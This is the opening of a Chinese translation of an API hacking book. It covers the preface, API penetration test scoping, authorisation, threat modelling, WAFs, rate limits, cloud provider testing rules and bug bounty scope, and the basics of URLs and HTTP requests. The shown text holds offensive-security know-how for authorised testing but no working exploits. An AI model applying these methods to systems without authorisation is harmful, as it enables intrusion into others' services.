API-黑客指南-全-
API 黑客指南(全)
原文:
zh.annas-archive.org/md5/93b28811441a4df5fe255e9f0c70cd56译者:飞龙
前言

今天的研究人员估计,应用程序编程接口(API)的调用占所有 Web 流量的 80% 以上。然而,尽管 API 无处不在,Web 应用程序的黑客往往忽视对其进行测试。而这些至关重要的商业资产却可能存在致命的弱点。
正如你将在本书中看到的,API 是一个绝佳的攻击途径。毕竟,API 是为了暴露信息给其他应用程序而设计的。为了获取一个组织最敏感的数据,你可能不需要巧妙地突破网络防火墙的边界、绕过先进的杀毒软件并释放零日漏洞;相反,你的任务可能只是向正确的端点发送一个 API 请求。
本书的目标是向你介绍 Web API,并展示如何测试它们的各种弱点。我们将主要关注测试 REST API 的安全性,这是 Web 应用程序中最常用的 API 格式,但也会涉及攻击 GraphQL API。你将首先学习如何按照 API 的预期使用它们的工具和技术。接下来,你将探测它们的漏洞,并学习如何利用这些漏洞。然后,你可以报告你的发现,并帮助防止下一次数据泄露。
黑客攻击 Web API 的魅力
2017 年,《经济学人》杂志(The Economist)发布了以下标题:“世界上最宝贵的资源不再是石油,而是数据。” API 是数字化的管道,能够在眨眼之间将这一宝贵的资源传播到世界各地。
简单来说,API 是一种使不同应用程序之间能够进行通信的技术。例如,当一个 Python 应用需要与 Java 应用的功能进行交互时,事情可能会迅速变得复杂。通过依赖 API,开发人员可以设计模块化应用程序,利用其他应用程序的专业功能。例如,他们不再需要自己编写定制软件来实现地图、支付处理、机器学习算法或身份验证过程。
因此,许多现代 Web 应用程序迅速采用了 API。然而,新技术往往会在网络安全有机会提出问题之前,先取得显著的进展,而 API 极大地扩展了这些应用程序的攻击面。它们防御薄弱,攻击者可以利用它们直接进入数据。此外,许多 API 缺乏其他攻击途径所具备的安全控制,使它们成为类似死星热废气口的存在:对企业来说,这是通往灾难和毁灭的道路。
由于这些原因,Gartner 早在几年之前就预测到,到 2022 年,API 将成为主要的攻击向量。作为黑客,我们需要通过穿上溜冰鞋、将 Acme 火箭绑在背上,赶上技术创新的速度来保护它们。通过攻击 API,报告我们的发现,并向企业传达风险,我们可以为打击网络犯罪贡献自己的一份力量。
本书的方法
攻击 API 并不像你想象的那样具有挑战性。一旦你理解了它们的运作方式,黑客攻击它们就只是发出正确的 HTTP 请求的问题。然而,通常用于漏洞狩猎和 Web 应用程序渗透测试的工具和技术并不适用于 API。比如,你不能将通用的漏洞扫描程序对着 API 运行,然后期待有用的结果。我经常将这些扫描程序对着易受攻击的 API 进行扫描,结果只是得到了错误的否定结果。当 API 没有经过适当测试时,组织就会产生虚假的安全感,进而面临被攻破的风险。
本书的每一部分都会在前一部分的基础上进行扩展:
-
第一部分:Web API 安全工作原理 首先,我将向你介绍你需要了解的关于 Web 应用程序和驱动它们的 API 的基本知识。你将学习到 REST API,这是本书的主要主题,以及日益流行的 GraphQL API 格式。我还将介绍你可能会遇到的最常见的 API 相关漏洞。
-
第二部分:构建 API 测试实验室 在这一部分中,你将构建你的 API 黑客攻击系统,并理解所使用的工具,包括 Burp Suite、Postman 和其他多种工具。你还将设置一个易受攻击目标的实验室,供你在本书中练习攻击。
-
第三部分:攻击 API 在第三部分中,我们将转向 API 黑客攻击方法,我将带你完成对 API 进行常见攻击的过程。在这里,乐趣开始了:你将通过使用开源情报技术发现 API,分析它们以理解攻击面,并最终深入各种攻击,例如注入攻击。你将学习如何反向工程 API,绕过其认证,并对其进行模糊测试,以发现各种安全问题。
-
第四部分:真实世界的 API 黑客攻击 本书的最后一部分致力于展示 API 弱点是如何在数据泄露和漏洞悬赏中被利用的。你将了解黑客是如何在真实世界的情境中使用书中介绍的技术的。你还将走一遍对 GraphQL API 的示范攻击,将书中之前介绍的许多技术适应到 GraphQL 格式中。
-
实验室 第二部分和第三部分的每一章都包括一个动手实验,允许你亲自练习书中的技术。当然,你可以使用本书之外的工具来完成这些活动。我鼓励你利用这些实验作为跳板,试验我提供的技术,并尝试自己的攻击。
本书适合任何想要开始学习 Web 应用攻破的人员,也适合渗透测试人员和漏洞赏金猎人,他们希望增加另一项技能。我设计了这本书,让即使是初学者也能在第一部分学习到关于 Web 应用的基础知识,在第二部分搭建自己的黑客实验室,并在第三部分开始实际攻破。
攻克 API 餐厅
在我们开始之前,让我给你一个比喻。想象一个应用程序是一个餐厅。就像 API 文档一样,菜单描述了你可以点的菜品。作为顾客和厨师之间的中介,服务员就像 API 本身;你可以根据菜单向服务员发出请求,服务员会把你点的菜送给你。
至关重要的是,API 用户并不需要知道厨师是如何准备菜肴的,或者后台应用是如何运作的。相反,他们应该能够按照一组指令发出请求并接收到相应的响应。开发者可以根据需求编程,任意方式实现请求的响应。
作为一个 API 黑客,你将探查比喻中的每一个部分。你将学习餐厅的运作方式。你可能尝试绕过餐厅的“保安”或者提供一个被盗的认证令牌。此外,你还会分析菜单,找出欺骗 API 将你没有权限访问的数据交给你的方法,或许是通过欺骗服务员把他们所有的东西交给你。你甚至可能说服 API 所有者把餐厅的钥匙交给你。
本书采用整体的方法,通过以下主题引导你深入了解如何攻克 API:
-
理解 Web 应用的工作原理以及 Web API 的构成
-
从黑客的角度掌握最常见的 API 漏洞
-
学习最有效的 API 攻击工具
-
执行被动和主动的 API 侦查,发现 API 的存在,寻找暴露的秘密,并分析 API 的功能
-
与 API 互动并利用模糊测试的力量对其进行测试
-
执行各种攻击以利用你发现的 API 漏洞
在本书的学习过程中,你将运用对抗性思维,利用任何 API 的功能和特点。我们越能模拟对手的行为,就越能发现可以向 API 提供者报告的弱点。我相信,我们甚至能够共同防止下一次重大 API 数据泄露事件的发生。
第一章:为你的安全测试做准备

API 安全测试并不完全符合一般渗透测试的模式,也不完全符合 Web 应用渗透测试的模式。由于许多组织的 API 攻击面规模和复杂性,API 渗透测试是一个独特的服务。在本章中,我将讨论你在攻击前应该包括在测试中的 API 特性,并进行文档记录。本章内容将帮助你评估进行合作所需的活动量,确保你计划测试目标 API 的所有特性,并帮助你避免麻烦。
API 渗透测试需要一个充分发展的范围,即允许你测试的目标和特征的描述,确保客户和测试者对所做的工作有共同的理解。API 安全测试的范围包括几个因素:你的方法论、测试的规模、目标特性、测试的任何限制、报告要求,以及是否计划进行修复测试。
接受授权
在攻击 API 之前,极其重要的是你必须收到一份签署的合同,其中包括合作范围,并授权你在特定时间范围内攻击客户的资源。
对于 API 渗透测试,合同可以采取签署的工作声明(SOW)形式,列出已批准的目标,确保你和你的客户就他们希望你提供的服务达成一致。这包括就将测试哪些 API 方面达成协议,确定任何排除项,并设置约定的时间进行测试。
仔细检查签署合同的人是否为目标客户的代表,且有权授权测试。还要确保待测试的资产属于客户;否则,你需要与正确的所有者重新执行这些指令。记得考虑客户托管其 API 的位置,以及他们是否确实有权对软件和硬件进行测试授权。
有些组织在范围文档上可能过于严格。如果你有机会制定范围,我建议你用自己冷静的语言,友善地向客户解释,犯罪分子是没有范围或限制的。真正的罪犯不会考虑其他消耗 IT 资源的项目;他们不会避免包含敏感生产服务器的子网,也不会在不方便的时间避免进行攻击。努力说服客户理解进行不那么严格的合作的价值,然后与他们合作记录具体事项。
与客户会面,明确说明将要发生的事情,然后将其准确地记录在合同、提醒邮件或笔记中。如果你遵守所请求服务的书面协议,你应该是合法且符合道德的。然而,减少风险的做法可能是与律师或法务部门进行咨询。
API 测试的威胁建模
威胁建模是用来绘制 API 提供者威胁的过程。如果你根据相关威胁来建模 API 渗透测试,你将能够选择针对该攻击的工具和技术。最有效的 API 测试是那些与实际威胁相匹配的测试。
威胁行为者是 API 的对手或攻击者。对手可以是任何人,从偶然发现 API 并对应用程序知之甚少的公众成员,到使用该应用程序的客户、不法商业伙伴或了解应用程序很多内容的内部人员。为了进行一项对 API 安全性最有价值的测试,理想的做法是绘制出可能的对手及其黑客技术。
你的测试方法应直接来源于威胁行为者的视角,因为这个视角应决定你所获得的关于目标的信息。如果威胁行为者对 API 一无所知,他们将需要进行研究以确定他们可能如何攻击应用程序。然而,一个不法的商业伙伴或内部威胁可能已经知道关于应用程序的很多信息,而无需进行侦察。为了应对这些不同情况,存在三种基本的渗透测试方法:黑盒、灰盒和白盒。
黑盒测试模拟了机会攻击者的威胁——这种攻击者可能偶然发现了目标组织或其 API。在一个真正的黑盒 API 测试中,客户不会向测试者透露任何关于攻击面的信息。你可能从仅知道签署 SOW(服务工作说明书)的公司名称开始你的测试工作。从这里开始,测试工作将包括利用开源情报(OSINT)进行侦察,尽可能多地了解目标组织。你可能通过结合使用搜索引擎研究、社交媒体、公开财务记录和 DNS 信息,来发现目标的攻击面,了解尽可能多关于该组织域名的信息。这种方法的工具和技术将在第六章中有更详细的介绍。一旦你完成了 OSINT,你应该已经整理出一份目标 IP 地址、URL 和 API 端点的清单,可以呈交给客户进行审查。客户应查看你的目标清单,然后授权进行测试。
灰箱测试是一种更为信息丰富的参与方式,旨在重新分配侦察上花费的时间,将更多时间投入到主动测试中。在进行灰箱测试时,你将模仿一个信息更为充分的攻击者。你会获得一些信息,例如哪些目标在范围内,哪些目标超出范围,还可能访问 API 文档,甚至可能会获得一个基础用户账户。你可能还会被允许绕过某些网络外围安全控制。
漏洞悬赏计划通常介于黑箱测试和灰箱测试之间。漏洞悬赏计划是一种参与方式,公司允许黑客测试其 Web 应用程序的漏洞,成功发现漏洞后,主办公司会向发现者支付悬赏金。漏洞悬赏并不完全是“黑箱”测试,因为悬赏猎人会被提供一些已批准的测试目标、超出范围的目标、会奖励的漏洞类型以及允许的攻击方式。由于有了这些限制,漏洞悬赏猎人仅受限于自身的资源,因此他们可以自行决定在侦察与其他技术之间分配多少时间。如果你有兴趣深入了解漏洞悬赏狩猎,我强烈推荐 Vickie Li 的 漏洞悬赏训练营(nostarch.com/bug-bounty-bootcamp)。
在白箱方法中,客户会尽可能披露他们环境的内部工作原理。除了灰箱测试提供的信息外,这还可能包括访问应用程序源代码、设计信息、用于开发应用程序的软件开发工具包(SDK)等。白箱测试模拟的是内部攻击者的威胁——一个了解组织内部工作原理并且有实际源代码访问权限的人。你在白箱测试中获得的信息越多,目标就会被越彻底地测试。
客户决定将参与范围设定为白盒测试、黑盒测试,还是介于两者之间的方式,应基于威胁模型和威胁情报。通过使用威胁建模,与客户一起确定该组织最可能的攻击者。例如,假设你正在与一个小型企业合作,该企业在政治上无关紧要;它不是一个更重要公司的供应链的一部分,也不提供基本服务。在这种情况下,假设该组织的对手是一个资金充足的先进持续威胁(APT),如一个国家级黑客组织,显然是不合理的。对这个小企业使用 APT 的技术就像对一个小偷使用无人机打击。相反,为了给客户提供最大价值,你应该使用威胁建模来制定一个现实的威胁。在这种情况下,最可能的攻击者可能是一个机会主义、技能中等的个人,他偶然发现了该组织的网站,并可能只会利用已知漏洞的公开利用工具。适合这种机会主义攻击者的测试方法是有限的黑盒测试。
为客户制定威胁模型的最有效方式是与他们进行问卷调查。调查需要揭示客户面临的攻击暴露范围、其经济重要性、政治参与度、是否参与任何供应链、是否提供基本服务以及是否有其他潜在的动机可能促使犯罪分子攻击他们。你可以自行开发调查问卷,或者根据现有的专业资源(如 MITRE ATT&CK(attack.mitre.org)或 OWASP(cheatsheetseries.owasp.org/cheatsheets/Threat_Modeling_Cheat_Sheet.html))制作问卷。
你选择的测试方法将决定剩余的大部分范围工作。由于黑盒测试人员通常只提供非常有限的范围信息,剩余的范围项目对于灰盒测试和白盒测试更为相关。
你应该测试的 API 特性
确定 API 安全测试的范围的主要目标之一是发现你需要执行的工作量。因此,你必须找出需要测试的唯一 API 端点、方法、版本、功能、认证与授权机制以及权限级别的数量。测试的规模可以通过与客户的访谈、审查相关的 API 文档和访问 API 集合来确定。一旦你获得了所需的信息,你应该能够评估出测试客户 API 所需的小时数。
API 认证测试
确定客户希望如何处理经过身份验证和未经过身份验证的用户的测试。客户可能希望你测试不同的 API 用户和角色,以查看是否在不同的权限级别中存在漏洞。客户也可能希望你测试他们用于身份验证和用户授权的过程。对于 API 弱点来说,许多有害的漏洞通常出现在身份验证和授权中。在黑盒测试中,你需要弄清楚目标的身份验证过程,并设法进行身份验证。
Web 应用防火墙
在白盒测试中,你需要注意是否有 Web 应用防火墙(WAF)在使用。WAF 是 Web 应用和 API 的一种常见防御机制。WAF 是一种控制到达 API 的网络流量的设备。如果 WAF 设置得当,你会在测试过程中很快发现当进行简单扫描后,访问 API 被拒绝。WAF 对限制意外请求和阻止 API 安全测试非常有效。一个有效的 WAF 会检测请求的频率或请求失败,并封禁你的测试设备。
在灰盒和白盒测试中,客户可能会将 WAF 向你公开,此时你将面临一些决策。关于是否应该为了提高测试的有效性而放松安全性,意见分歧,但分层的网络安全防御是有效保护组织的关键。换句话说,任何人都不应该将所有的“鸡蛋”都放在 WAF 这一个篮子里。给足够的时间,持续的攻击者可能会学会 WAF 的边界,找出绕过它的方法,或者利用一个使其无效的零日漏洞。
理想情况下,客户会允许你的攻击 IP 地址绕过 WAF,或者调整他们的边界安全级别,以便你可以测试暴露给 API 消费者的安全控制。如前所述,做出此类计划和决策实际上是进行威胁建模。最好的 API 测试是那些与 API 提供者的实际威胁相一致的测试。为了得到对 API 安全最有价值的测试,理想的做法是绘制出可能的对手及其黑客技巧。否则,你会发现自己在测试 API 提供者的 WAF 有效性,而不是他们的 API 安全控制的有效性。
移动应用测试
许多组织拥有移动应用程序,这些应用程序扩展了攻击面。此外,移动应用程序通常依赖于 API 在应用程序内和支持服务器之间传输数据。你可以通过手动代码审查、自动源代码分析和动态分析来测试这些 API。手动代码审查涉及访问移动应用程序的源代码,并寻找潜在的漏洞。自动化源代码分析类似,区别在于它使用自动化工具来帮助寻找漏洞和有趣的工件。最后,动态分析是在应用程序运行时进行测试。动态分析包括拦截移动应用程序的客户端 API 请求和服务器 API 响应,然后尝试找出可以被利用的弱点。
审计 API 文档
API 的文档是一本描述如何使用该 API 的手册,包括身份验证要求、用户角色、使用示例和 API 端点信息。良好的文档对于任何自给自足 API 的商业成功至关重要。如果没有有效的 API 文档,企业将不得不依赖培训来支持他们的消费者。正因如此,你可以肯定你的目标 API 会有文档。
然而,这些文档可能充满了不准确、过时的信息和信息泄露漏洞。作为 API 黑客,你应该搜索目标的 API 文档,并利用它为自己谋取优势。在灰盒和白盒测试中,API 文档审计应该纳入测试范围。审查文档可以通过暴露漏洞(包括业务逻辑缺陷)来提升目标 API 的安全性。
速率限制测试
速率限制是对 API 消费者在给定时间范围内可以发出的请求数量的限制。它由 API 提供方的网络服务器、防火墙或 Web 应用程序防火墙强制执行,主要有两个重要目的:它允许 API 提供方通过 API 变现,并防止过度消耗提供方的资源。由于速率限制是允许组织通过 API 获利的关键因素,因此在 API 交互过程中你应该将其纳入测试范围。
举个例子,一家企业可能允许免费层 API 用户每小时发起一次请求。一旦请求发出,消费者将无法在一小时内发起其他请求。然而,如果用户支付该企业费用,他们每小时就可以发起数百次请求。如果没有足够的控制措施,这些不付费的 API 消费者可能会找到绕过限制的方式,随意消费数据。
限速测试不同于拒绝服务(DoS)测试。DoS 测试是指旨在干扰服务并使系统和应用无法提供给用户的攻击。与此不同,DoS 测试旨在评估一个组织计算资源的韧性,而限速测试则试图绕过限制请求数量的限制,即在给定时间框架内发送的请求数量。绕过限速并不一定会导致服务中断,反而可能有助于其他攻击,并展示组织在其 API 获利方式上的弱点。
通常,组织会在 API 文档中发布其 API 的请求限制,内容可能类似于以下内容:
你可以在 X 时间框架内发送 Y 请求。如果你超过这个限制,你将从我们的 Web 服务器收到 Z 响应。
例如,Twitter 会根据你的授权对请求进行限制,一旦你通过身份验证,第一级别每 15 分钟可以发送 15 个请求,下一层级每 15 分钟可以发送 180 个请求。如果你超过了请求限制,你将收到 HTTP 错误 420,如 图 0-1 所示。

图 0-1:来自 developer.twitter.com/en/docs 的 Twitter HTTP 状态码
如果没有足够的安全控制来限制对 API 的访问,API 提供者将因消费者作弊而失去收入,因使用额外的主机资源而产生额外成本,并且可能面临 DoS 攻击的风险。
限制和排除
除非渗透测试授权文档中另有说明,否则你应假设自己不会执行 DoS 和分布式 DoS(DDoS)攻击。根据我的经验,获得授权进行此类操作的情况非常罕见。当 DoS 测试被授权时,通常会在正式文档中明确说明。此外,除非是某些对手模拟演习,渗透测试和社会工程通常是两个独立的活动。因此,在进行渗透测试时,务必检查是否可以使用社会工程攻击(如钓鱼、语音钓鱼和短信钓鱼)。
默认情况下,没有任何漏洞奖励计划接受社会工程攻击、DoS 或 DDoS 攻击、攻击客户或访问客户数据的行为。在你可以对用户执行攻击的情况下,程序通常建议创建多个账户,并在相关机会出现时攻击你自己的测试账户。
此外,特定的程序或客户可能会列出已知的问题。API 的某些方面可能被认为是安全漏洞,但也可能是为了便利而故意设计的功能。例如,忘记密码功能可能会显示一条消息,告知最终用户其电子邮件或密码是否正确;这同样的功能可能赋予攻击者暴力破解有效用户名和电子邮件的能力。组织可能已经决定接受这种风险,并且不希望你进行测试。
要特别注意合同中的任何排除条款或限制条款。在涉及 API 时,程序可能只允许测试特定部分的 API,并可能限制在已批准的 API 中某些路径的访问。例如,银行 API 提供商可能与第三方共享资源,而可能没有授权允许进行测试。因此,他们可能会明确说明你可以攻击 /api/accounts 端点,但不能攻击 /api/shared/accounts。另外,目标的身份验证过程可能通过一个你没有授权攻击的第三方进行。你需要特别关注测试范围,以便进行合法的授权测试。
安全测试云 API
现代 Web 应用程序通常托管在云端。当你攻击一个云托管的 Web 应用程序时,实际上是在攻击云服务提供商的物理服务器(可能是 Amazon、Google 或 Microsoft)。每个云服务提供商都有自己的一套渗透测试条款和服务,你需要熟悉这些内容。到 2021 年为止,云服务提供商普遍变得更加友好对待渗透测试人员,且需要授权提交的情况大大减少。不过,仍然有一些云托管的 Web 应用程序和 API 需要你获得渗透测试授权,例如某些组织的 Salesforce API。
在进行攻击之前,你应始终了解目标云服务提供商当前的要求。以下列表描述了最常见的提供商的政策。
-
Amazon Web Services (AWS) AWS 在渗透测试方面已经大大改善了其立场。截至目前,AWS 允许其客户进行各种安全测试,除了 DNS 区域遍历、DoS 或 DDoS 攻击、模拟 DoS 或 DDoS 攻击、端口泛洪、协议泛洪和请求泛洪等行为。对于任何不允许的行为,你必须发送电子邮件给 AWS 并请求进行测试的许可。如果你请求一个例外,确保包括你的测试日期、涉及的账户和资产、电话号码以及你提议的攻击描述。
-
Google Cloud Platform (GCP) Google 简单声明,在进行渗透测试时,无需向公司请求许可或通知公司。然而,Google 也声明,你必须遵守其可接受使用政策(AUP)和服务条款(TOS),并且保持在授权范围内。AUP 和 TOS 禁止非法行为、网络钓鱼、垃圾邮件、分发恶意或破坏性文件(如病毒、蠕虫和木马),以及中断 GCP 服务。
-
Microsoft Azure Microsoft 采取了对黑客友好的方式,不要求在测试之前通知公司。此外,它还提供了“渗透测试参与规则”页面,明确规定了允许进行哪些类型的渗透测试(
www.microsoft.com/en-us/msrc/pentest-rules-of-engagement)。
至少目前,云服务提供商对渗透测试活动持积极态度。只要你遵守服务提供商的条款,确保只测试你被授权攻击的目标,并避免进行可能导致服务中断的攻击,你应该是合法的。
DoS 测试
我提到过 DoS 攻击通常不在测试范围内。与客户合作,了解他们在特定参与中的风险承受能力。你应该将 DoS 测试视为一种可选服务,提供给那些希望测试其基础设施性能和可靠性的客户。否则,与客户合作,看看他们愿意允许什么。
DoS 攻击对 API 安全构成巨大的威胁。故意或偶然的 DoS 攻击将中断目标组织提供的服务,使得 API 或 Web 应用程序无法访问。这样的突发性业务中断通常是组织寻求法律追索的触发因素。因此,务必小心,仅进行你被授权执行的测试!
最终,是否将 DoS 测试作为测试范围的一部分取决于客户的风险承受能力,即组织为实现目标愿意承担的风险程度。了解组织的风险承受能力可以帮助你量身定制测试。如果一个组织处于前沿,且对其安全性充满信心,那么它可能对风险有较大的承受能力。针对较大风险承受能力的参与将涉及连接到每个功能,并运行你想要的所有漏洞攻击。相反,位于风险谱系另一端的是极为风险规避的组织。这类组织的参与就像是走在蛋壳上。此类参与的范围会有许多细节:你能够攻击的任何机器都将被明确列出,并且你可能需要在运行某些漏洞时先获得许可。
报告与修复测试
对于你的客户来说,最有价值的部分是你提交的报告,它将传达你关于他们 API 安全控制有效性的发现。报告应详细列出你在测试过程中发现的漏洞,并向客户解释如何进行修复,以提高他们 API 的安全性。
最后需要检查的内容是 API 提供商是否希望进行修复测试。一旦客户获得了报告,他们应该尝试修复 API 漏洞。对之前发现的问题进行重新测试将验证漏洞是否已成功修复。重新测试可以仅探测薄弱点,或者进行全面的重新测试,查看对 API 所做的更改是否引入了新的弱点。
关于漏洞赏金范围的说明
如果你希望成为一名职业黑客,一个很好的入门方式是成为一个漏洞赏金猎人。像 BugCrowd 和 HackerOne 这样的组织已经创建了平台,使任何人都可以轻松创建账户并开始寻找漏洞。此外,许多组织也自行运营漏洞赏金计划,包括 Google、Microsoft、Apple、Twitter 和 GitHub。这些计划中包含了大量的 API 漏洞赏金,许多还提供额外奖励。例如,Files.com 在 BugCrowd 上托管的漏洞赏金计划就包括针对 API 的漏洞赏金,如图 0-2 所示。

图 0-2:Files.com 在 BugCrowd 上的漏洞赏金计划,这是许多激励 API 相关发现的计划之一
在漏洞赏金计划中,你应关注两个合同:漏洞赏金提供方的服务条款和计划的范围。违反其中任何一项合同不仅可能导致被漏洞赏金提供方封禁,还可能引发法律问题。漏洞赏金提供方的服务条款将包含有关赚取赏金、报告发现以及赏金提供方、测试者、研究人员和参与者与目标之间关系的重要信息。
范围将提供目标 API、描述、奖励金额、参与规则、报告要求以及限制。对于 API 漏洞赏金,范围通常包括 API 文档或文档的链接。表 0-1 列出了在测试前需要了解的一些主要漏洞赏金注意事项。
表 0-1:漏洞赏金测试注意事项
| 目标 | 被批准进行测试和奖励的 URL。请注意列出的子域名,因为有些可能不在范围内。 |
|---|---|
| 披露条款 | 关于你发布发现的能力的规则。 |
| 排除项 | 不包括在测试和奖励范围内的 URL。 |
| 测试限制 | 对组织将奖励的漏洞类型的限制。通常,你必须能够证明你的发现可以在现实世界的攻击中得到利用,通过提供漏洞利用的证据来证明。 |
| 法律 | 由于组织、客户和数据中心的地理位置,适用的额外政府法规和法律。 |
如果你是漏洞挖掘新手,我建议你查看 BugCrowd 大学,这里有一段由 Sadako 制作的关于 API 安全测试的介绍视频和页面(www.bugcrowd.com/resources/webinars/api-security-testing-for-hackers)。另外,别忘了查看Bug Bounty Bootcamp(No Starch Press, 2021),这是一本非常适合入门漏洞赏金的资源,它甚至有一章专门讲解 API 黑客攻击!
确保在投入时间和精力之前了解每种类型漏洞的潜在奖励(如果有的话)。例如,我曾见过一个漏洞赏金被认为是垃圾邮件的有效速率限制利用。查看过去的披露提交,看看组织是否表现出抵触情绪,或者是否不愿为看似有效的提交支付奖励。此外,关注那些成功获得赏金的提交。漏洞猎人提供了什么类型的证据?他们是如何报告发现的,以便让组织轻松地确认漏洞是有效的?
总结
在本章中,我回顾了 API 安全测试范围的组成部分。制定 API 测试范围应该帮助你理解要部署的测试方法以及测试的范围。你还应该明确什么可以测试,什么不能测试,以及在测试过程中将使用哪些工具和技术。如果测试方面已经明确规定,并且你在这些规格内进行测试,你将为成功的 API 安全测试奠定基础。
在下一章中,我将介绍你需要了解的 Web 应用程序功能,以便理解 Web API 是如何工作的。如果你已经掌握了 Web 应用程序的基础知识,可以直接跳到第二章,在那里我将讲解 API 的技术结构。
第二章:Web 应用程序如何工作

在你能够破解 API 之前,必须了解支持它们的技术。在本章中,我将涵盖你需要了解的关于 Web 应用程序的所有内容,包括超文本传输协议(HTTP)的基本方面、身份验证与授权以及常见的 Web 服务器数据库。因为 Web API 是由这些技术驱动的,所以理解这些基础知识将为你使用和破解 API 做好准备。
Web 应用程序基础
Web 应用程序基于客户端/服务器模型运行:你的 Web 浏览器,作为客户端,生成对资源的请求并将其发送到称为 Web 服务器的计算机。这些 Web 服务器再通过网络将资源发送回客户端。Web 应用程序一词指的是运行在 Web 服务器上的软件,如 Wikipedia、LinkedIn、Twitter、Gmail、GitHub 和 Reddit。
尤其是,Web 应用程序是为最终用户交互而设计的。而网站通常是只读的,仅提供从 Web 服务器到客户端的单向通信,Web 应用程序则允许通信双向流动,从服务器到客户端以及从客户端到服务器。例如,Reddit 是一个作为信息流动的新闻源的 Web 应用程序。如果它仅仅是一个网站,访客只能接收网站背后组织提供的内容。而 Reddit 允许用户通过发布、点赞、点踩、评论、分享、举报不良帖子以及通过订阅自己想看的子版块来自定义他们的新闻源,从而与站点上的信息进行交互。这些功能将 Reddit 与静态网站区分开来。
为了让最终用户开始使用 Web 应用程序,必须在 Web 浏览器和 Web 服务器之间进行一次对话。最终用户通过在浏览器地址栏中输入 URL 来启动这次对话。在本节中,我们将讨论接下来会发生什么。
URL
你可能已经知道,统一资源定位符 (URL) 是用于定位互联网上唯一资源的地址。这个 URL 由几个组件组成,在后面的章节中,你会发现了解它们对编写 API 请求非常有帮助。所有的 URL 都包含使用的协议、主机名、端口、路径以及任何查询参数:
协议://主机名[:端口号]/[路径]/[?查询][参数]
协议是计算机用来通信的一组规则。URL 中使用的主要协议是 HTTP/HTTPS 用于网页,FTP 用于文件传输。
端口是指定通信通道的数字,只有在主机无法自动将请求解析到正确端口时才会包含。通常,HTTP 通信使用 80 端口。HTTP 的加密版本 HTTPS 使用 443 端口,而 FTP 使用 21 端口。要访问托管在非标准端口上的 Web 应用程序,可以在 URL 中包含端口号,如:https://www.example.com:8443。(端口 8080 和 8443 分别是 HTTP 和 HTTPS 的常见替代端口。)
网络服务器上的文件目录路径指向 URL 中指定的网页和文件的位置。URL 中使用的路径与计算机中定位文件的文件路径相同。
查询是 URL 中的可选部分,用于执行如搜索、过滤和翻译请求信息语言等功能。网络应用提供商还可能使用查询字符串来跟踪某些信息,如指向该网页的 URL、您的会话 ID 或您的电子邮件。查询部分以问号开始,包含服务器被编程处理的字符串。最后,查询参数是描述如何处理给定查询的值。例如,查询page?后的查询参数lang=en可能表明网络服务器应提供英文版的请求页面。这些参数由另一个字符串组成,供服务器处理。查询可以包含多个用符号&(&)分隔的参数。
为了使这些信息更具具体性,考虑以下 URL:twitter.com/search?q=hacking&src=typed_query。在这个例子中,协议是https,主机名是twitter.com,路径是search,查询是q(表示查询),查询参数是hacking,src=typed_query是一个跟踪参数。每当你在 Twitter Web 应用程序中点击搜索框,输入“hacking”并按下回车时,这个 URL 就会自动生成。浏览器被编程为以 Twitter Web 服务器能够理解的方式形成 URL,并收集一些以src参数形式的跟踪信息。Web 服务器将接收到关于黑客内容的请求,并返回与黑客相关的信息。
HTTP 请求
当最终用户通过 Web 浏览器访问 URL 时,浏览器会自动生成一个 HTTP请求来获取资源。这个资源就是被请求的信息——通常是构成网页的文件。请求通过互联网或网络路由到 Web 服务器,在那里进行初步处理。如果请求格式正确,Web 服务器将请求传递给 Web 应用程序。
列表 1-1 显示了在向twitter.com进行认证时发送的 HTTP 请求的组成部分。
POST❶ /sessions❷ HTTP/1.1❸
Host: twitter.com❹
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 444
Cookie: _personalization_id=GA1.2.1451399206.1606701545; dnt=1;
username_or_email%5D=hAPI_hacker&❺password%5D=NotMyPassword❻%21❼
列表 1-1:一个用于与twitter.com认证的 HTTP 请求
HTTP 请求以方法 ❶、请求资源的路径 ❷ 和协议版本 ❸ 开始。方法在本章后面的“HTTP 方法”部分中进行描述,告诉服务器你想做什么。在这种情况下,你使用 POST 方法将登录凭证发送到服务器。路径可以包含完整的 URL、绝对路径或资源的相对路径。在这个请求中,路径 /sessions 指定了处理 Twitter 身份验证请求的页面。
请求包含若干 头部,它们是键值对,用于在客户端和 Web 服务器之间传递特定信息。头部以头部的名称开头,后跟冒号(:),然后是头部的值。Host 头部 ❹ 指定了域名主机,twitter.com。User-Agent 头部描述了客户端的浏览器和操作系统。Accept 头部描述了浏览器可以接受 Web 应用程序在响应中返回的内容类型。并非所有头部都是必需的,客户端和服务器可能会包括未在此处显示的其他头部,具体取决于请求。例如,这个请求包括一个 Cookie 头部,它用于客户端和服务器之间建立有状态连接(稍后在本章中会讨论)。如果你想了解更多关于所有不同头部的内容,可以查看 Mozilla 开发者页面上的头部文档(developer.mozilla.org/en-US/docs/Web/HTTP/Headers)。
所有在头部以下的部分是 消息体,它是请求方试图让 Web 应用程序处理的信息。在这种情况下,消息体包含了用于身份验证 Twitter 帐号的用户名 ❺ 和密码 ❻。消息体中的某些字符会自动进行编码。例如,感叹号(!)会被编码为 %21 ❼。编码字符是 Web 应用程序安全处理可能引起问题的字符的一种方式。
HTTP 响应
在 Web 服务器收到 HTTP 请求后,它会处理并响应该请求。响应的类型取决于资源的可用性、用户是否有权限访问该资源、Web 服务器的健康状况以及其他因素。例如,清单 1-2 显示了对 清单 1-1 中请求的响应。
HTTP/1.1❶ 302 Found❷
content-security-policy: default-src 'none'; connect-src 'self'
location: https://twitter.com/
pragma: no-cache
server: tsa_a
set-cookie: auth_token=8ff3f2424f8ac1c4ec635b4adb52cddf28ec18b8; Max-Age=157680000; Expires=Mon, 01 Dec 2025 16:42:40 GMT; Path=/; Domain=.twitter.com; Secure; HTTPOnly; SameSite=None
<html><body>You are being <a href="https://twitter.com/">redirected</a>.</body></html>
清单 1-2:身份验证到 twitter.com 的 HTTP 响应示例
Web 服务器首先以使用的协议版本作出响应(在这种情况下是 HTTP/1.1 ❶)。HTTP 1.1 目前是使用的标准 HTTP 版本。状态码和状态消息 ❷,在下一部分中会更详细地讨论,是 302 Found。302 响应码表示客户端已成功身份验证,并将被重定向到客户端被授权访问的登陆页面。
